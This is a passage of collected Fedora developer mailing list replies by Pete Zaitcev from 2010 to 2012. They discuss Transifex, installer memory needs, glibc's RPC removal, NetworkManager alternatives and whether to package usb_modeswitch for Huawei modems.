uploads I'm busy, this bug is not to be used as an excuse to
initiate punitive automation comment every 6 days.

-- Pete
-- 
devel mailing list
devel@lists.fedoraproject.org
https://admin.fedoraproject.org/mailman/listinfo/devel

Re: Some fedora projects are still not using transifex (properly)

[Pete Zaitcev]

On Tue, 21 Feb 2012 10:20:32 +0100
Alan Pevec ape...@gmail.com wrote:

 Semi-related question: what's the procedure to get new language team
 approved on transifex?

BTW, Aeolus Image Warehouse had to dump Transifex. It was impossible
to build anything without having an account there, and that was
unacceptable, if we ever wanted contributions.

-- Pete
-- 
devel mailing list
devel@lists.fedoraproject.org
https://admin.fedoraproject.org/mailman/listinfo/devel

Re: F17 heads up: gnome-shell for everyone!

[Pete Zaitcev]

On Fri, 04 Nov 2011 18:23:02 +0100
Kevin Kofler kevin.kof...@chello.at wrote:

  If I filed every bug in the distro in upstream I'd have a dozen
  different bugzilla accounts by now.
 
 So what? Maintainers are not messengers, they have other work to do than 
 forwarding the bugs you're too lazy to file directly at the right place.

IMHO you are very, very wrong about this. A maintainer is fully
responsible for the product he is delivering into the hands of users.
Sending them to file bugs upstream means not doing maintainer's job.

Aside from the abdication of responsibility, there are a few technical
problems with the idea as well. The need for a given user to allocate
accounts and the resulting chilling effect is one downside, as already
mentioned. The bug is not going anywhere if you make it harder for
the user to file! Also, upstream often refuses to deal with distro
bugs, and may ask to rebuild from the source or to use upstream-built
releases.

-- Pete
-- 
devel mailing list
devel@lists.fedoraproject.org
https://admin.fedoraproject.org/mailman/listinfo/devel

Re: Anaconda memory requirements

[Pete Zaitcev]

On Sat, 20 Aug 2011 11:31:55 -0700
John Reiser jrei...@bitwagon.com wrote:

   How much  memory will anaconda require to install Fedora 16?
 
 Anaconda requires 768MB, and more (=1GB) if there is no swap partition.

It is not just Anaconda. F15 GA kernel would not even uncompress
initramfs on anything below 1GB.

On VM hosts, I modify the VMs with virsh to have 1GB, then scale them
down after installation.

This is getting difficult to manage, I have to say. My almost brand
new Red Hat corporate T400 only has 2GB, and I have a stack of almost
good enough boxes. In the past we always felt free to push obsolete
hardware over to BSD. Remember NPTL? CMOV? But now I have a feeling
that we may be outstripping the speed of improvement in common hardware.
Or maybe I need a better computer.

I'm wondering what everyone's feeling is about it. I saw a tweet (by
Mairin, I think) the 12GB is a life-changing experience. Well, if
that's our new standard platform, then sure, no sense to optimize
for 1GB.

-- Pete
-- 
devel mailing list
devel@lists.fedoraproject.org
https://admin.fedoraproject.org/mailman/listinfo/devel

Re: F15's /usr/include/rpc has disappeared; netdb.h uncompilable

[Pete Zaitcev]

On Sat, 7 May 2011 16:00:36 +0100
Richard W.M. Jones rjo...@redhat.com wrote:

   * The RPC implementation in libc is obsoleted.  Old programs keep working
 but new programs cannot be linked with the routines in libc anymore.
 Programs in need of RPC functionality must be linked against TI-RPC.
 The TI-RPC implemtation is IPv6 enabled and there are other benefits.

  The question is: what is TI-RPC and where one finds it?
  Is it even packaged in Fedora?
 
 ... and what about programs that just use XDR?

That actually was my question, because I'm responsible for Hail and
its subpackages (CLD protocol uses XDR encoding).

-- Pete
-- 
devel mailing list
devel@lists.fedoraproject.org
https://admin.fedoraproject.org/mailman/listinfo/devel

Re: F15's /usr/include/rpc has disappeared; netdb.h uncompilable

[Pete Zaitcev]

On Thu, 05 May 2011 15:39:21 +0200
Jim Meyering j...@meyering.net wrote:

 Reported as http://bugzilla.redhat.com/702366
 and http://bugzilla.redhat.com/702354

Well, here's NEWS:

 * The RPC implementation in libc is obsoleted.  Old programs keep working
   but new programs cannot be linked with the routines in libc anymore.
   Programs in need of RPC functionality must be linked against TI-RPC.
   The TI-RPC implemtation is IPv6 enabled and there are other benefits.
 
   Visible changes of this change include (obviously) the inability to link
   programs using RPC functions without referencing the TI-RPC library, the
   removal of the RPC headers from the glibc headers, and the lack of
   symbols defined in rpc/netdb.h when netdb.h is installed.
   Implemented by Ulrich Drepper.

The question is: what is TI-RPC and where one finds it?
Is it even packaged in Fedora?

-- Pete
-- 
devel mailing list
devel@lists.fedoraproject.org
https://admin.fedoraproject.org/mailman/listinfo/devel

Re: tomboy orphaned

[Pete Zaitcev]

On Thu, 28 Apr 2011 14:08:05 +0800
Steven Yong woong...@gmail.com wrote:
 On Apr 27, 2011 11:30 PM, Ray Strode halfl...@gmail.com wrote:

 I use it everyday and I am a C/C++ programmer. What is the requirement for
 the role?

Just use Gnote. It being in C++ you can even maintain it for Fedora.

-- Pete
-- 
devel mailing list
devel@lists.fedoraproject.org
https://admin.fedoraproject.org/mailman/listinfo/devel

Re: Firefox 4 for f14?

[Pete Zaitcev]

On Wed, 23 Mar 2011 20:36:33 -0400
Genes MailLists li...@sapience.com wrote:
 On 03/23/2011 07:58 PM, Kevin Kofler wrote:
  Jochen Schmitt wrote:

  If you want to get firefox4 on Fedora 14 now, the only way is to use
  the private firefox4 repository on

Or you can simply download it direct from mozilla.org and install it
 in /usr/local/

Mozilla's own build is garbage: Input Method does not work, fonts all
screwed up. Spot's is much better and is actually usable.

-- Pete
-- 
devel mailing list
devel@lists.fedoraproject.org
https://admin.fedoraproject.org/mailman/listinfo/devel

Re: debugfs query

[Pete Zaitcev]

On Fri, 28 Jan 2011 11:19:22 -0500
Kyle McMartin k...@mcmartin.ca wrote:
 On Fri, Jan 28, 2011 at 10:36:20AM +, Steven Whitehouse wrote:

  Currently Fedora doesn't automatically mount debugfs at boot time. So I
  thought that it might be worth asking whether this should be the case?
 
 systemd seems to, so I guess it will be mounted by default in F-15.

What is it in debugfs that SystemD needs?

-- Pete
-- 
devel mailing list
devel@lists.fedoraproject.org
https://admin.fedoraproject.org/mailman/listinfo/devel

Re: Shrinking terminals in rawhide

[Pete Zaitcev]

Apropos terminals, did you have a chance to stop them spewing an error
message on every keypress/release? Or am I a freak of nature to even
read ~/.xsession-errors in the first place?

-- Pete
-- 
devel mailing list
devel@lists.fedoraproject.org
https://admin.fedoraproject.org/mailman/listinfo/devel

Re: How to filter posts on planet.fedoraproject.org?

[Pete Zaitcev]

On Sun, 16 Jan 2011 16:10:59 +0300
Pavel Alexeev (aka Pahan-Hubbitus) fo...@hubbitus.com.ru wrote:

 But I'm wondering how I can filter records which I read via RSS by 
 language!?

Planet was insufferable like this for years now. I gave up some
time in 2006 and simply subscribed in Liferea to feeds themselves.
You just need revisit it once a year or so and check if any interesting
feeds were added.

-- Pete
-- 
devel mailing list
devel@lists.fedoraproject.org
https://admin.fedoraproject.org/mailman/listinfo/devel

Re: Local system security

[Pete Zaitcev]

On Wed, 05 Jan 2011 16:13:25 -0500
Adam Jackson a...@redhat.com wrote:

 But prevention of DoS on the part of local actors is just not a game you
 can win.  If nothing else, remember that the way Linux implements
 malloc() assumes you have infinite memory, which means you overcommit
 resources, which means failure happens.

As long as we say things like the first one, Oracle will continue to pretend
that Solaris is somehow more suitable to deploy Sunray... As for the second
one, look here (we ship with overcommit set to heuristic, which is Webkit
crashes in Rawhide):
 https://bugzilla.redhat.com/show_bug.cgi?id=648319#c63

-- Pete
-- 
devel mailing list
devel@lists.fedoraproject.org
https://admin.fedoraproject.org/mailman/listinfo/devel

Re: Introducing wicked

[Pete Zaitcev]

On Fri, 26 Nov 2010 10:24:34 +0100
Olaf Kirch o...@suse.de wrote:

 3. Why not NetworkManager?
 
 On the other hand, there's NetworkManager (and I'm getting to this point
 because Pete Zaitcev brought this up). Right now, NetworkManager doesn't
 handle bridges, bonds, infiniband, token ring - that's why I say it's a bit
 desktopish, the server environment simply has never been the focus of
 NetworkManager's development. Also, it links against a somewhat longish lists
 of fairly heavy-weight libraries (including nspr), and requires dbus - all of
 which make it pretty much impossible to use in initrd or an environment where
 space is a premium.

Thanks, I see. Not sure I agree entirely though, but duly noted.

-- Pete
-- 
devel mailing list
devel@lists.fedoraproject.org
https://admin.fedoraproject.org/mailman/listinfo/devel

Re: Introducing wicked

[Pete Zaitcev]

On Thu, 25 Nov 2010 20:29:30 +
Richard W.M. Jones rjo...@redhat.com wrote:
 On Thu, Nov 25, 2010 at 05:24:37PM +0100, Olaf Kirch wrote:

  You may ask, don't we have enough of those already? Don't we have
  NetworkManager, connman, netcf, and a few more?
 
 Indeed ...  You don't explain how it's better than netcf.

Or NM for that matter. There is nothing desktop-oriented about NM
beyond the history when it was introduced to solve issues that
originated on desktop. But its technical design is no different
from what you are offering. Thus the case for replacement is not made.

-- Pete
-- 
devel mailing list
devel@lists.fedoraproject.org
https://admin.fedoraproject.org/mailman/listinfo/devel

Re: fedora mission (was Re: systemd and changes)

[Pete Zaitcev]

On Fri, 27 Aug 2010 17:54:37 -0400
Matthias Clasen mcla...@redhat.com wrote:

 Your attack is misguided, Jon. It is very much our responsibility to
 inform users that the software they install or use is no longer actively
 supported.

Inform, sure. But Kevin proposed an installer that would just refuse
to install. Jon had every right to be outraged, IMHO.

-- Pete
-- 
devel mailing list
devel@lists.fedoraproject.org
https://admin.fedoraproject.org/mailman/listinfo/devel

Re: usb_modeswitch by default

[Pete Zaitcev]

On Fri, 05 Mar 2010 22:27:48 -0800
Dan Williams d...@redhat.com wrote:

   I have taken over the maintainership from Robert, and the new
   usb_modeswitch rpms are in rawhide now.
  
  And F-13?
 
 I'm pushing for F13 and F12 at least :)  I usually end up getting the
 bugs when modems don't switch, I just never had the time to give
 usb_modeswitch any love.

One last thing: Dan, is it your page at this URL:
 http://live.gnome.org/NetworkManager/MobileBroadband

It says:

  Huawei

  Most Huawei devices are handled automatically by the kernel.
  If the 'option' driver which handles Huawei devices lacks the
  USB IDs of your device, the correct solution is to add those
  IDs to the kernel driver by submitting a patch to your distribution's
  bugzilla or Linux Kernel Mailing List. If your device is not yet
  recognized, you can eject the fake driver CD with usb_modeswitch,
  and bind the generic usbserial driver manually to the device (see below).

Someone filed a bug about this today:
https://bugzilla.redhat.com/show_bug.cgi?id=571542

-- Pete
-- 
devel mailing list
devel@lists.fedoraproject.org
https://admin.fedoraproject.org/mailman/listinfo/devel

Re: usb_modeswitch by default

[Pete Zaitcev]

On Thu, 04 Mar 2010 01:50:21 +0530
Rahul Sundaram methe...@gmail.com wrote:

(adding linux-usb to cc:, see below)

 Increasingly a number of broadband connections require usb_modeswitch to
 connect online
 
 http://who-t.blogspot.com/2010/03/vodafone-australia-mobile-broadband-and.html
 
 Any opposition to adding this to the base group?

I am strongly opposed. IMHO, using usb_modeswitch is not necessary, and
we should not package its version 1.0.0 or any other version.

The root of the problem here is that someone thought it was a good idea
to make the kernel chase Huawei IDs. But it's not. Even if the linux-next
were taking the IDs as Huawei pops them, without any lag, the distro
kernels simply have no chance to keep up.

Here is the log from Peter's blog:

usb 1-2: new high speed USB device using ehci_hcd and address 6
usb 1-2: New USB device found, idVendor=12d1, idProduct=1520
usb 1-2: New USB device strings: Mfr=3, Product=2, SerialNumber=0
usb 1-2: Product: HUAWEI Mobile
usb 1-2: Manufacturer: HUAWEI Technology

So, the 0x1520. The 2.6.33 ends with 0x143f. No woder Peter resorts to
usb_modeswitch! And what's the downside for him? My ulcers?

We ought to put a quirk in usb-storage that deals with Huawei in a particular
way. I don't see how screenfuls of garbage in unusual_devs.h is any better
than special-casing in usb_stor_acquire_resources.

If we do not do that, users will continue using usb_modeswitch, and then
all the kernel code that deals with Huawei now amounts to useless waste.

-- Pete
-- 
devel mailing list
devel@lists.fedoraproject.org
https://admin.fedoraproject.org/mailman/listinfo/devel

Re: usb_modeswitch by default

[Pete Zaitcev]

On Thu, 04 Mar 2010 09:00:12 -0800
Dan Williams d...@redhat.com wrote:

 The problem is that there are a ton more devices that need modeswitching
 than just Huawei, and upstream USB developers are refusing to take
 patches that add more devices to the kernel modeswitching code because
 they assert it should be done in userspace.  Thus, usb_modeswitch is the
 only thing that can handle *all* modems that need modeswitching these
 days.  Honestly we should just stop adding new Huawei IDs to
 unusual_devs, and just use usb_modeswitch.

Who are these mysterious kernel developers? You don't happen to have
any e-mail saved?

If Greg Kroah rules that we should promote usb_modeswitch, then fine,
let's do that, and drop all Huawei nonsense from kernel. But I haven't
heard anything like that so far. In fact, the party line was exactly
the opposite: eradicate usb_modeswitch.

-- Pete
-- 
devel mailing list
devel@lists.fedoraproject.org
https://admin.fedoraproject.org/mailman/listinfo/devel

Re: usb_modeswitch by default

[Pete Zaitcev]

On Thu, 4 Mar 2010 12:46:35 -0800
Matthew Dharm mdharm-...@one-eyed-alien.net wrote:

   The problem is that there are a ton more devices that need modeswitching
   than just Huawei, and upstream USB developers are refusing to take
   patches that add more devices to the kernel modeswitching code because
   they assert it should be done in userspace. []

  Who are these mysterious kernel developers? You don't happen to have
  any e-mail saved?
 
 I'm one of those developers.  We've hashed this out before.
 I'm pretty sure Greg's with me on this one.  If the device can be handled
 in userspace, then it should be.  If it's storage emulation mode is not
 good enough to handle in userspace, then a kernel update will have to be
 done.

OK, that sounds good. So, I withdraw objections after Rahul's question,
as far as Fedora is concerned.

On the kernel side, should we discard all the cruft un unusual_devs.h?

-- Pete
-- 
devel mailing list
devel@lists.fedoraproject.org
https://admin.fedoraproject.org/mailman/listinfo/devel